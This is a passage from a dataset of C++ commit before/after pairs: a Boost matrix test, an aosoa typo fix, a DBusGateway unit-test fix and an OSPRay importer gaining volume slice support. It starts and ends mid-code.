Args&& ...args)\n\t{\n\t\tusing Ret = decltype(callback(std::forward<Args>(args)...));\n\t\tif constexpr (std::is_void_v<Ret>)\n\t\t{\n\t\t\tcallback(std::forward<Args>(args)...);\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tstatic_assert(std::is_same_v<Ret, bool>, \"callback must either return a boolean or nothing\");\n\t\t\treturn callback(std::forward<Args>(args)...);\n\t\t}\n\t}\n\n\ttemplate<typename F1, typename F2>\n\tbool VirtualDirectory::SplitPath(std::string_view path, F1&& dirCB, F2&& lastCB)\n\t{\n\t\tstd::string_view nextPart;\n\t\tauto HandlePart = [&](std::string_view part)\n\t\t{\n\t\t\tif (part.empty())\n\t\t\t\treturn true; \/\/< \"a\/\/b\" == \"a\/b\"\n\n\t\t\tif (!nextPart.empty() && !CallbackReturn(dirCB, nextPart))\n\t\t\t\treturn false;\n\n\t\t\tnextPart = part;\n\t\t\treturn true;\n\t\t};\n\n\t\treturn SplitStringAny(path, R\"(\\\/:)\", HandlePart) && CallbackReturn(lastCB, nextPart);\n\t}\n}\n\n#include <Nazara\/Core\/DebugOff.hpp>\n<|endoftext|>"}
{"text":"<commit_before>#include <boost\/test\/unit_test.hpp>\n#include \"matrix.hh\"\n#include \"function_matrix.hh\"\n#include \"trig.hh\"\n#include \"operators.hh\"\n#include \"transpose.hh\"\n#include \"streaming2.hh\"\n\nBOOST_AUTO_TEST_CASE(matrix_test)\n{\n  using namespace manifolds;\n  auto m1 = GetMatrix<2,2>(1,2,3,4);\n\n  BOOST_CHECK_EQUAL(m1.Coeff(0,0), 1);\n  BOOST_CHECK_EQUAL(m1.Coeff(0,1), 2);\n  BOOST_CHECK_EQUAL(m1.Coeff(1,0), 3);\n  BOOST_CHECK_EQUAL(m1.Coeff(1,1), 4);\n\n  auto m2 = m1 + m1;\n\n  BOOST_CHECK_EQUAL(m2.Coeff(0,0), 2);\n  BOOST_CHECK_EQUAL(m2.Coeff(0,1), 4);\n  BOOST_CHECK_EQUAL(m2.Coeff(1,0), 6);\n  BOOST_CHECK_EQUAL(m2.Coeff(1,1), 8);\n\n  auto m3 = m2 * m1;\n  BOOST_CHECK_EQUAL(m3.Coeff(0,0), 14);\n  BOOST_CHECK_EQUAL(m3.Coeff(0,1), 20);\n  BOOST_CHECK_EQUAL(m3.Coeff(1,0), 30);\n  BOOST_CHECK_EQUAL(m3.Coeff(1,1), 44);\n\n  auto mf = GetFunctionMatrix(Row(Cos(), -Sin()),\n\t\t\t      Row(Sin(), Cos()));\n  BOOST_CHECK_EQUAL(mf(3),\n\t\t    (GetMatrix<2,2>(std::cos(3),\n\t\t\t           -std::sin(3),\n\t\t\t\t    std::sin(3),\n\t\t\t\t    std::cos(3))));\n\n  auto mf2 = transpose(mf) * mf;\n  Stream2(std::cout, mf) << \"\\n\\n\";\n  Stream2(std::cout, transpose(mf)) << \"\\n\\n\";\n  Stream2(std::cout, mf2) << \"\\n\\n\";\n\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(0,0), 1.0);\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(0,1), 0.0);\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(1,0), 0.0);\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(1,1), 1.0);\n}\n<commit_msg>A little less output<commit_after>#include <boost\/test\/unit_test.hpp>\n#include \"matrix.hh\"\n#include \"function_matrix.hh\"\n#include \"trig.hh\"\n#include \"operators.hh\"\n#include \"transpose.hh\"\n#include \"streaming2.hh\"\n\nBOOST_AUTO_TEST_CASE(matrix_test)\n{\n  using namespace manifolds;\n  auto m1 = GetMatrix<2,2>(1,2,3,4);\n\n  BOOST_CHECK_EQUAL(m1.Coeff(0,0), 1);\n  BOOST_CHECK_EQUAL(m1.Coeff(0,1), 2);\n  BOOST_CHECK_EQUAL(m1.Coeff(1,0), 3);\n  BOOST_CHECK_EQUAL(m1.Coeff(1,1), 4);\n\n  auto m2 = m1 + m1;\n\n  BOOST_CHECK_EQUAL(m2.Coeff(0,0), 2);\n  BOOST_CHECK_EQUAL(m2.Coeff(0,1), 4);\n  BOOST_CHECK_EQUAL(m2.Coeff(1,0), 6);\n  BOOST_CHECK_EQUAL(m2.Coeff(1,1), 8);\n\n  auto m3 = m2 * m1;\n  BOOST_CHECK_EQUAL(m3.Coeff(0,0), 14);\n  BOOST_CHECK_EQUAL(m3.Coeff(0,1), 20);\n  BOOST_CHECK_EQUAL(m3.Coeff(1,0), 30);\n  BOOST_CHECK_EQUAL(m3.Coeff(1,1), 44);\n\n  auto mf = GetFunctionMatrix(Row(Cos(), -Sin()),\n\t\t\t      Row(Sin(), Cos()));\n  BOOST_CHECK_EQUAL(mf(3),\n\t\t    (GetMatrix<2,2>(std::cos(3),\n\t\t\t           -std::sin(3),\n\t\t\t\t    std::sin(3),\n\t\t\t\t    std::cos(3))));\n\n  auto mf2 = transpose(mf) * mf;\n\n  std::cout << mf2 << \"\\n\\n\";\n  Stream2(std::cout, mf2) << \"\\n\\n\";\n\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(0,0), 1.0);\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(0,1), 0.0);\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(1,0), 0.0);\n  BOOST_CHECK_EQUAL(mf2(4).Coeff(1,1), 1.0);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/ Copyright (c) 2012, 2013 by Pascal Costanza, Intel Corporation.\n\n#ifndef AOSOA_INDEXED_FOR_EACH_RANGE\n#define AOSOA_INDEXED_FOR_EACH_RANGE\n\n#include <cstddef>\n\n#include \"soa\/table.hpp\"\n#include \"aosoa\/table_iterator.hpp\"\n\nnamespace aosoa {\n\n  template<class C, typename F>\n  inline void indexed_for_each_range(C& container, const F& f) {\n\tconst auto size = container.size();\n\tauto data = container.data();\n\n\ttypedef soa::table_traits<C> traits;\n\n\tif (traits::tabled) {\n\t  const auto sdb = size\/traits::table_size;\n\t  const auto smb = size%traits::table_size;\n\t  for (size_t i=0; i<sdb; ++i) f(traits::get_table(data, i), 0, traits::table_size, i*traits::table_size);\n\t  if (smb) f(traits::get_table(data, sdb), 0, smb, sdb*traits::table_size);\n\t} else f(traits::get_table(data, 0), 0, size, 0);\n  }\n\n  template<classC, size_t B, typename F>\n  inline void indexed_for_each_range(const table_iterator<C,B>& begin,\n\t\t\t\t\t\t\t\t\t const table_iterator<C,B>& end,\n\t\t\t\t\t\t\t\t\t const F& f) {\n\tconst auto table0 = begin.table;\n\tconst auto index0 = begin.index;\n\tconst auto tablen = end.table;\n\tconst auto indexn = end.index;\n\n\tif (table0 < tablen) {\n\t  f(table0[0], index0, B, -index0);\n\t  const auto range = tablen-table0;\n\t  for (ptrdiff_t i=1; i<range; ++i) f(table0[i], 0, B, i*B-index0);\n\t  f(tablen[0], 0, indexn, range*B-index0);\n\t} else if (table0 == tablen) {\n\t  f(table0[0], index0, indexn, -index0);\n\t}\n  }\n\n}\n\n#endif\n<commit_msg>fixed typo<commit_after>\/\/\/ Copyright (c) 2012, 2013 by Pascal Costanza, Intel Corporation.\n\n#ifndef AOSOA_INDEXED_FOR_EACH_RANGE\n#define AOSOA_INDEXED_FOR_EACH_RANGE\n\n#include <cstddef>\n\n#include \"soa\/table.hpp\"\n#include \"aosoa\/table_iterator.hpp\"\n\nnamespace aosoa {\n\n  template<class C, typename F>\n  inline void indexed_for_each_range(C& container, const F& f) {\n\tconst auto size = container.size();\n\tauto data = container.data();\n\n\ttypedef soa::table_traits<C> traits;\n\n\tif (traits::tabled) {\n\t  const auto sdb = size\/traits::table_size;\n\t  const auto smb = size%traits::table_size;\n\t  for (size_t i=0; i<sdb; ++i) f(traits::get_table(data, i), 0, traits::table_size, i*traits::table_size);\n\t  if (smb) f(traits::get_table(data, sdb), 0, smb, sdb*traits::table_size);\n\t} else f(traits::get_table(data, 0), 0, size, 0);\n  }\n\n  template<class C, size_t B, typename F>\n  inline void indexed_for_each_range(const table_iterator<C,B>& begin,\n\t\t\t\t\t\t\t\t\t const table_iterator<C,B>& end,\n\t\t\t\t\t\t\t\t\t const F& f) {\n\tconst auto table0 = begin.table;\n\tconst auto index0 = begin.index;\n\tconst auto tablen = end.table;\n\tconst auto indexn = end.index;\n\n\tif (table0 < tablen) {\n\t  f(table0[0], index0, B, -index0);\n\t  const auto range = tablen-table0;\n\t  for (ptrdiff_t i=1; i<range; ++i) f(table0[i], 0, B, i*B-index0);\n\t  f(tablen[0], 0, indexn, range*B-index0);\n\t} else if (table0 == tablen) {\n\t  f(table0[0], index0, indexn, -index0);\n\t}\n  }\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *   Copyright (C) 2014 Pelagicore AB\n *   All rights reserved.\n *\/\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n\n#include <iostream>\n\n#include \"dbusgateway.h\"\n#include \"log.h\"\n\nusing namespace pelagicore;\n\nclass MockController :\n    public ControllerAbstractInterface\n{\npublic:\n\n    virtual bool startApp()\n    {\n            return true;\n    }\n\n    virtual bool shutdown()\n    {\n        return true;\n    }\n\n    virtual bool setEnvironmentVariable(const std::string &variable,\n        const std::string &value)\n    {\n        return true;\n    }\n\n    virtual bool hasBeenStarted() const\n    {\n        return true;\n    }\n\n    MOCK_METHOD1(systemCall, bool(const std::string &cmd));\n\n};\n\nclass MockSystemcallInterfaceDBusGWTest :\n    public SystemcallAbstractInterface\n{\npublic:\n    MOCK_METHOD1(makeCall, bool(const std::string &cmd));\n    MOCK_METHOD2(makeCall, bool(const std::string &cmd, int &exitCode));\n    MOCK_METHOD3(makePopenCall,\n                 pid_t(const std::string &command, int *infp, int *outfp));\n    MOCK_METHOD3(makePcloseCall, bool(pid_t pid, int infp, int outfp));\n};\n\nvoid close_fd_helper(pid_t pid, int infp, int outfp)\n{\n    close(infp);\n}\n\n\nclass SystemcallInterfaceStub :\n    public SystemcallAbstractInterface\n{\npublic:\n    FILE *file_descriptor = NULL;\n    pid_t m_pid = 999;\n    int m_infp = -1;\n    int m_outfp = -1;\n\n    SystemcallInterfaceStub() {\n        file_descriptor = tmpfile();\n        m_infp = fileno(file_descriptor);\n    }\n\n    virtual ~SystemcallInterfaceStub() {\n        if(file_descriptor != NULL) {\n            fclose(file_descriptor);\n        }\n    };\n\n    virtual bool makeCall(const std::string &cmd)\n    {\n        return true;\n    }\n\n    virtual bool makeCall(const std::string &cmd, int &exitCode)\n    {\n        exitCode = 0;\n        return true;\n    }\n\n    pid_t makePopenCall(const std::string &command,\n                        int *infp,\n                        int *outfp)\n    {\n        *infp = m_infp;\n        *outfp = m_outfp;\n        return m_pid;\n    }\n\n    bool makePcloseCall(pid_t pid, int infp, int outfp)\n    {\n        if(pid == m_pid && infp == m_infp && outfp == m_outfp) {\n            return true;\n        }\n\n        return false;\n    }\n\n    std::string fileContent()\n    {\n        std::string content = \"\";\n        char buf[20];\n        rewind(file_descriptor);\n        while (fgets(buf, 20, file_descriptor)) {\n            content += buf;\n        }\n\n        return content;\n    }\n};\n\n\nusing ::testing::InSequence;\nusing ::testing::_;\nusing ::testing::Return;\nusing ::testing::NiceMock;\n\nclass DBusGatewayTest : public ::testing::Test\n{\npublic:\n    const std::string m_gatewayDir = \"\/tmp\/dbusgateway-unit-test\/gateways\";\n    const std::string m_containerName = \"test\";\n    NiceMock<MockController> controllerInterface;\n    SystemcallInterfaceStub systemcallInterface;\n};\n\n\/*! Test DBusGateway saves the config when DBusGateway::setConfig()\n * has been called.\n *\/\nTEST_F(DBusGatewayTest, TestSetConfig) {\n    DBusGateway gw(controllerInterface,\n                   systemcallInterface,\n                   DBusGateway::SessionProxy,\n                   m_gatewayDir,\n                   m_containerName);\n\n    std::string config = \"{}\";\n    bool success = gw.setConfig(config);\n    ASSERT_TRUE(success);\n}\n\n\/*! Test DBusGateway writes the config provided by DBusGateway::setConfig()\n * to a fileno provided by the systemcallInterface when\n * DBusGateway::activate() has been called.\n *\/\nTEST_F(DBusGatewayTest, TestActivateStdInWrite) {\n    DBusGateway gw(controllerInterface,\n                   systemcallInterface,\n                   DBusGateway::SessionProxy,\n                   m_gatewayDir,\n                   m_containerName);\n\n    std::string config = \"{}\";\n\n    ASSERT_TRUE(gw.setConfig(config));\n    ASSERT_TRUE(gw.activate());\n    EXPECT_EQ(config, systemcallInterface.fileContent());\n}\n\n\/*! Test DBusGateway calls ControllerInterface::makePopencall() when\n * DBusGateway::activate() has been called\n *\n * The DbusGateway::activate() should try to issue a dbus-proxy call\n * and then try to write the config to stdin of this. At the end it\n * should remove the file created by dbus-proxy.\n *\/\nTEST_F(DBusGatewayTest, TestActivateCall) {\n    NiceMock<MockSystemcallInterfaceDBusGWTest> systemcallInterfaceMock;\n    DBusGateway *gw = new DBusGateway(controllerInterface,\n                                      systemcallInterfaceMock,\n                                      DBusGateway::SessionProxy,\n                                      m_gatewayDir,\n                                      m_containerName);\n\n    \/\/ create sock file which teardown will remove\n    std::string cmd_mkdir = \"mkdir -p \";\n    cmd_mkdir += m_gatewayDir;\n    system(cmd_mkdir.c_str());\n    std::string cmd_touch = \"touch \";\n    cmd_touch += m_gatewayDir;\n    cmd_touch += \"\/sess_test.sock\";\n    system(cmd_touch.c_str());\n\n    std::string config = \"{}\";\n\n    ASSERT_TRUE(gw->setConfig(config));\n\n    FILE *tmp = tmpfile();\n    int infp = fileno(tmp);\n\n    {\n        InSequence sequence;\n        EXPECT_CALL(\n            systemcallInterfaceMock,\n            makePopenCall(\"dbus-proxy \"\n                          \"\/tmp\/dbusgateway-unit-test\/gateways\/sess_test.sock \"\n                          \"session\",\n                          _, _)\n        ).WillOnce(DoAll(::testing::SetArgPointee<1>(infp), Return(999)));\n\n        EXPECT_CALL(\n            systemcallInterfaceMock,\n            makePcloseCall(_, _, _)\n        ).WillOnce(DoAll(::testing::Invoke(close_fd_helper), Return(true)));\n    }\n\n    ASSERT_TRUE(gw->activate());\n    ASSERT_TRUE(gw->teardown());\n\n    delete gw;\n}\n\n<commit_msg>dbusgateway_unittest.cpp: fix failing test<commit_after>\/*\n *   Copyright (C) 2014 Pelagicore AB\n *   All rights reserved.\n *\/\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n\n#include <iostream>\n\n#include \"dbusgateway.h\"\n#include \"log.h\"\n\nusing namespace pelagicore;\n\nclass MockController :\n    public ControllerAbstractInterface\n{\npublic:\n\n    virtual bool startApp()\n    {\n            return true;\n    }\n\n    virtual bool shutdown()\n    {\n        return true;\n    }\n\n    virtual bool setEnvironmentVariable(const std::string &variable,\n        const std::string &value)\n    {\n        return true;\n    }\n\n    virtual bool hasBeenStarted() const\n    {\n        return true;\n    }\n\n    MOCK_METHOD1(systemCall, bool(const std::string &cmd));\n\n};\n\nclass MockSystemcallInterfaceDBusGWTest :\n    public SystemcallAbstractInterface\n{\npublic:\n    MOCK_METHOD1(makeCall, bool(const std::string &cmd));\n    MOCK_METHOD2(makeCall, bool(const std::string &cmd, int &exitCode));\n    MOCK_METHOD3(makePopenCall,\n                 pid_t(const std::string &command, int *infp, int *outfp));\n    MOCK_METHOD3(makePcloseCall, bool(pid_t pid, int infp, int outfp));\n};\n\nvoid close_fd_helper(pid_t pid, int infp, int outfp)\n{\n    close(infp);\n}\n\n\nclass SystemcallInterfaceStub :\n    public SystemcallAbstractInterface\n{\npublic:\n    FILE *file_descriptor = NULL;\n    pid_t m_pid = 999;\n    int m_infp = -1;\n    int m_outfp = -1;\n    std::string m_tmpfile;\n\n    SystemcallInterfaceStub() {\n        m_tmpfile = tempnam(\"\/tmp\/\", NULL);\n        file_descriptor = fopen(m_tmpfile.c_str(), \"w+b\");\n        m_infp = fileno(file_descriptor);\n    }\n\n    virtual ~SystemcallInterfaceStub() {\n        if(file_descriptor != NULL) {\n            fclose(file_descriptor);\n        }\n        remove(m_tmpfile.c_str());\n    };\n\n    virtual bool makeCall(const std::string &cmd)\n    {\n        return true;\n    }\n\n    virtual bool makeCall(const std::string &cmd, int &exitCode)\n    {\n        exitCode = 0;\n        return true;\n    }\n\n    pid_t makePopenCall(const std::string &command,\n                        int *infp,\n                        int *outfp)\n    {\n        *infp = m_infp;\n        *outfp = m_outfp;\n        return m_pid;\n    }\n\n    bool makePcloseCall(pid_t pid, int infp, int outfp)\n    {\n        if(pid == m_pid\n            && ( infp == m_infp || infp == -1 )\n            && ( outfp == m_outfp || outfp == -1 ))\n        {\n            return true;\n        }\n\n        return false;\n    }\n\n    std::string fileContent()\n    {\n        \/\/ Open file for reading. Don't reuse file_descriptor here\n        \/\/ since it might have been closed previously\n        FILE * file_descriptor_read = fopen(m_tmpfile.c_str(), \"r\");\n\n        std::string content = \"\";\n        char buf[20];\n        rewind(file_descriptor);\n        while (fgets(buf, 20, file_descriptor)) {\n            content += buf;\n        }\n\n        fclose(file_descriptor_read);\n        return content;\n    }\n};\n\n\nusing ::testing::InSequence;\nusing ::testing::_;\nusing ::testing::Return;\nusing ::testing::NiceMock;\n\nclass DBusGatewayTest : public ::testing::Test\n{\npublic:\n    const std::string m_gatewayDir = \"\/tmp\/dbusgateway-unit-test\/gateways\";\n    const std::string m_containerName = \"test\";\n    NiceMock<MockController> controllerInterface;\n    SystemcallInterfaceStub systemcallInterface;\n};\n\n\/*! Test DBusGateway saves the config when DBusGateway::setConfig()\n * has been called.\n *\/\nTEST_F(DBusGatewayTest, TestSetConfig) {\n    DBusGateway gw(controllerInterface,\n                   systemcallInterface,\n                   DBusGateway::SessionProxy,\n                   m_gatewayDir,\n                   m_containerName);\n\n    std::string config = \"{}\";\n    bool success = gw.setConfig(config);\n    ASSERT_TRUE(success);\n}\n\n\/*! Test DBusGateway writes the config provided by DBusGateway::setConfig()\n * to a fileno provided by the systemcallInterface when\n * DBusGateway::activate() has been called.\n *\/\nTEST_F(DBusGatewayTest, TestActivateStdInWrite) {\n    DBusGateway gw(controllerInterface,\n                   systemcallInterface,\n                   DBusGateway::SessionProxy,\n                   m_gatewayDir,\n                   m_containerName);\n\n    std::string config = \"{}\";\n\n    ASSERT_TRUE(gw.setConfig(config));\n    ASSERT_TRUE(gw.activate());\n    EXPECT_EQ(config, systemcallInterface.fileContent());\n}\n\n\/*! Test DBusGateway calls ControllerInterface::makePopencall() when\n * DBusGateway::activate() has been called\n *\n * The DbusGateway::activate() should try to issue a dbus-proxy call\n * and then try to write the config to stdin of this. At the end it\n * should remove the file created by dbus-proxy.\n *\/\nTEST_F(DBusGatewayTest, TestActivateCall) {\n    NiceMock<MockSystemcallInterfaceDBusGWTest> systemcallInterfaceMock;\n    DBusGateway *gw = new DBusGateway(controllerInterface,\n                                      systemcallInterfaceMock,\n                                      DBusGateway::SessionProxy,\n                                      m_gatewayDir,\n                                      m_containerName);\n\n    \/\/ create sock file which teardown will remove\n    std::string cmd_mkdir = \"mkdir -p \";\n    cmd_mkdir += m_gatewayDir;\n    system(cmd_mkdir.c_str());\n    std::string cmd_touch = \"touch \";\n    cmd_touch += m_gatewayDir;\n    cmd_touch += \"\/sess_test.sock\";\n    system(cmd_touch.c_str());\n\n    std::string config = \"{}\";\n\n    ASSERT_TRUE(gw->setConfig(config));\n\n    FILE *tmp = tmpfile();\n    int infp = fileno(tmp);\n\n    {\n        InSequence sequence;\n        EXPECT_CALL(\n            systemcallInterfaceMock,\n            makePopenCall(\"dbus-proxy \"\n                          \"\/tmp\/dbusgateway-unit-test\/gateways\/sess_test.sock \"\n                          \"session\",\n                          _, _)\n        ).WillOnce(DoAll(::testing::SetArgPointee<1>(infp), Return(999)));\n\n        EXPECT_CALL(\n            systemcallInterfaceMock,\n            makePcloseCall(_, _, _)\n        ).WillOnce(DoAll(::testing::Invoke(close_fd_helper), Return(true)));\n    }\n\n    ASSERT_TRUE(gw->activate());\n    ASSERT_TRUE(gw->teardown());\n\n    delete gw;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2018 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#include \"Importer.h\"\n\n#include \"..\/volume\/AMRVolume.h\"\n\n#include \"ospcommon\/utility\/StringManip.h\"\n\nnamespace ospray {\n  namespace sg {\n\n    static void importStructuredVolume(const std::shared_ptr<Node> &world,\n                                       const xml::Node &xmlNode)\n    {\n      using SVFF = StructuredVolumeFromFile;\n      auto volume = createNode(\"volume\",\n                               \"StructuredVolumeFromFile\")->nodeAs<SVFF>();\n\n      vec3i dimensions(-1);\n      vec3f gridSpacing = volume->child(\"gridSpacing\").valueAs<vec3f>();\n      std::string volumeFileName = \"\";\n      std::string voxelType = \"\";\n\n      for (const auto &child : xmlNode.child) {\n        if (child.name == \"dimensions\")\n          dimensions = toVec3i(child.content.c_str());\n        else if (child.name == \"voxelType\")\n          voxelType = child.content;\n        else if (child.name == \"filename\")\n          volumeFileName = child.content;\n        else if (child.name == \"samplingRate\") {\n          \/\/ Silently ignore\n        } else if (child.name == \"gridSpacing\") {\n          gridSpacing = toVec3f(child.content.c_str());\n        } else {\n          throw std::runtime_error(\"unknown old-style osp file \"\n                                   \"component volume::\" + child.name);\n        }\n      }\n\n      volume->fileNameOfCorrespondingXmlDoc = xmlNode.doc->fileName;\n      volume->fileName = volumeFileName;\n\n      volume->child(\"dimensions\") = dimensions;\n      volume->child(\"voxelType\") = voxelType;\n      volume->child(\"gridSpacing\") = gridSpacing;\n\n      world->add(volume);\n    }\n\n    static void importRAW2AMRVolume(const std::shared_ptr<Node> &world,\n                                    const std::string &originalFileName,\n                                    const xml::Node &xmlNode)\n    {\n      FileName orgFile(originalFileName);\n\n      auto node = sg::createNode(\"amr\", \"AMRVolume\")->nodeAs<sg::AMRVolume>();\n      std::string fileName;\n      int brickSize = -1;\n\n      for (const auto &child : xmlNode.child) {\n        if (child.name == \"brickSize\")\n          brickSize = std::atoi(child.content.c_str());\n        else if (child.name == \"fileName\")\n          fileName = orgFile.path() + child.content;\n      }\n\n      if (fileName == \"\") {\n        throw std::runtime_error(\"no child element 'fileName' specified \"\n                                 \"for AMR volume!\");\n      } else if (brickSize == -1) {\n        throw std::runtime_error(\"no child element 'brickSize' specified \"\n                                 \"for AMR volume!\");\n      }\n\n      node->parseRaw2AmrFile(fileName, brickSize);\n\n      world->add(node);\n    }\n\n#ifdef OSPRAY_APPS_SG_CHOMBO\n    static void importCHOMBOFromOSP(const std::shared_ptr<Node> &world,\n                                    const std::string &originalFileName,\n                                    const xml::Node &xmlNode)\n    {\n      FileName orgFile(originalFileName);\n\n      std::string fileName;\n\n      for (const auto &child : xmlNode.child) {\n        if (child.name == \"fileName\")\n          fileName = orgFile.path() + child.content;\n      }\n\n      if (fileName == \"\") {\n        throw std::runtime_error(\"no child element 'fileName' specified \"\n                                 \"for AMR volume!\");\n      }\n\n      importCHOMBO(world, fileName);\n    }\n#endif\n\n    void loadOSP(const std::shared_ptr<Node> &world,\n                 const std::string &fileName)\n    {\n      std::cout << \"#osp:sg: starting to read OSPRay XML file '\" << fileName\n                << \"'\" << std::endl;\n\n      auto doc = xml::readXML(fileName);\n\n      std::cout << \"#osp:sg: XML file read, starting to parse content...\"\n                << std::endl;\n\n      if (doc->child.empty())\n        throw std::runtime_error(\"ospray xml input file does not contain any nodes!?\");\n\n      for (const auto &node : doc->child) {\n        auto nameLower = utility::lowerCase(node.name);\n        if (nameLower == \"volume\" || nameLower == \"structuredvolume\")\n          importStructuredVolume(world, node);\n        else if (nameLower == \"amr\" || nameLower == \"amrvolume\")\n          importRAW2AMRVolume(world, fileName, node);\n#ifdef OSPRAY_APPS_SG_CHOMBO\n        else if (nameLower == \"chombo\" || nameLower == \"chombovolume\")\n          importCHOMBOFromOSP(world, fileName, node);\n#endif\n        else\n          std::cout << \"#importOSG: unknown xml tag '\" << node.name << \"'\\n\";\n      }\n    }\n\n  } \/\/ ::ospray::sg\n} \/\/ ::ospray\n<commit_msg>add ability to specify slices in .osp files<commit_after>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2018 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#include \"Importer.h\"\n\n#include \"..\/volume\/AMRVolume.h\"\n\/\/ ospcommon\n#include \"ospcommon\/containers\/AlignedVector.h\"\n#include \"ospcommon\/utility\/StringManip.h\"\n\nnamespace ospray {\n  namespace sg {\n\n    static void importStructuredVolume(const std::shared_ptr<Node> &world,\n                                       const xml::Node &xmlNode)\n    {\n      using SVFF = StructuredVolumeFromFile;\n      auto volume = createNode(\"volume\",\n                               \"StructuredVolumeFromFile\")->nodeAs<SVFF>();\n\n      vec3i dimensions(-1);\n      vec3f gridSpacing = volume->child(\"gridSpacing\").valueAs<vec3f>();\n      std::string volumeFileName = \"\";\n      std::string voxelType = \"\";\n\n      containers::AlignedVector<vec4f> slices;\n\n      for (const auto &child : xmlNode.child) {\n        if (child.name == \"dimensions\")\n          dimensions = toVec3i(child.content.c_str());\n        else if (child.name == \"voxelType\")\n          voxelType = child.content;\n        else if (child.name == \"filename\")\n          volumeFileName = child.content;\n        else if (child.name == \"slice\") {\n          auto components = utility::split(child.content, \" \");\n          if (components.size() != 4) {\n            std::cerr << \"WARNING: .osp files must have slices defined as 4 \"\n                      << \"floats separated by spaces! Ignoring...\" << std::endl;\n            continue;\n          }\n\n          slices.emplace_back(\n            std::atof(components[0].c_str()),\n            std::atof(components[1].c_str()),\n            std::atof(components[2].c_str()),\n            std::atof(components[3].c_str())\n          );\n        } else if (child.name == \"samplingRate\") {\n          \/\/ Silently ignore\n        } else if (child.name == \"gridSpacing\") {\n          gridSpacing = toVec3f(child.content.c_str());\n        } else {\n          throw std::runtime_error(\"unknown old-style osp file \"\n                                   \"component volume::\" + child.name);\n        }\n      }\n\n      volume->fileNameOfCorrespondingXmlDoc = xmlNode.doc->fileName;\n      volume->fileName = volumeFileName;\n\n      volume->child(\"dimensions\") = dimensions;\n      volume->child(\"voxelType\") = voxelType;\n      volume->child(\"gridSpacing\") = gridSpacing;\n\n      world->add(volume);\n\n      if (!slices.empty()) {\n        \/\/ scale 4th component of slices by the dimension of the volume\n        \/\/ (input value is on [0,1]), and add to scene\n        for (auto & slice : slices)\n          slice.w *= dimensions.x;\n\n        auto slices_node = createNode(\"slices\", \"Slices\");\n        auto slices_data = std::make_shared<DataVector4f>();\n        slices_data->v = slices;\n        slices_data->setName(\"planes\");\n\n        slices_node->add(slices_data);\n        slices_node->setChild(\"volume\", volume);\n\n        \/\/ add slices to world\n        world->add(slices_node);\n      }\n    }\n\n    static void importRAW2AMRVolume(const std::shared_ptr<Node> &world,\n                                    const std::string &originalFileName,\n                                    const xml::Node &xmlNode)\n    {\n      FileName orgFile(originalFileName);\n\n      auto node = sg::createNode(\"amr\", \"AMRVolume\")->nodeAs<sg::AMRVolume>();\n      std::string fileName;\n      int brickSize = -1;\n\n      for (const auto &child : xmlNode.child) {\n        if (child.name == \"brickSize\")\n          brickSize = std::atoi(child.content.c_str());\n        else if (child.name == \"fileName\")\n          fileName = orgFile.path() + child.content;\n      }\n\n      if (fileName == \"\") {\n        throw std::runtime_error(\"no child element 'fileName' specified \"\n                                 \"for AMR volume!\");\n      } else if (brickSize == -1) {\n        throw std::runtime_error(\"no child element 'brickSize' specified \"\n                                 \"for AMR volume!\");\n      }\n\n      node->parseRaw2AmrFile(fileName, brickSize);\n\n      world->add(node);\n    }\n\n#ifdef OSPRAY_APPS_SG_CHOMBO\n    static void importCHOMBOFromOSP(const std::shared_ptr<Node> &world,\n                                    const std::string &originalFileName,\n                                    const xml::Node &xmlNode)\n    {\n      FileName orgFile(originalFileName);\n\n      std::string fileName;\n\n      for (const auto &child : xmlNode.child) {\n        if (child.name == \"fileName\")\n          fileName = orgFile.path() + child.content;\n      }\n\n      if (fileName == \"\") {\n        throw std::runtime_error(\"no child element 'fileName' specified \"\n                                 \"for AMR volume!\");\n      }\n\n      importCHOMBO(world, fileName);\n    }\n#endif\n\n    void loadOSP(const std::shared_ptr<Node> &world,\n                 const std::string &fileName)\n    {\n      std::cout << \"#osp:sg: starting to read OSPRay XML file '\" << fileName\n                << \"'\" << std::endl;\n\n      auto doc = xml::readXML(fileName);\n\n      std::cout << \"#osp:sg: XML file read, starting to parse content...\"\n                << std::endl;\n\n      if (doc->child.empty())\n        throw std::runtime_error(\"ospray xml input file does not contain any nodes!?\");\n\n      for (const auto &node : doc->child) {\n  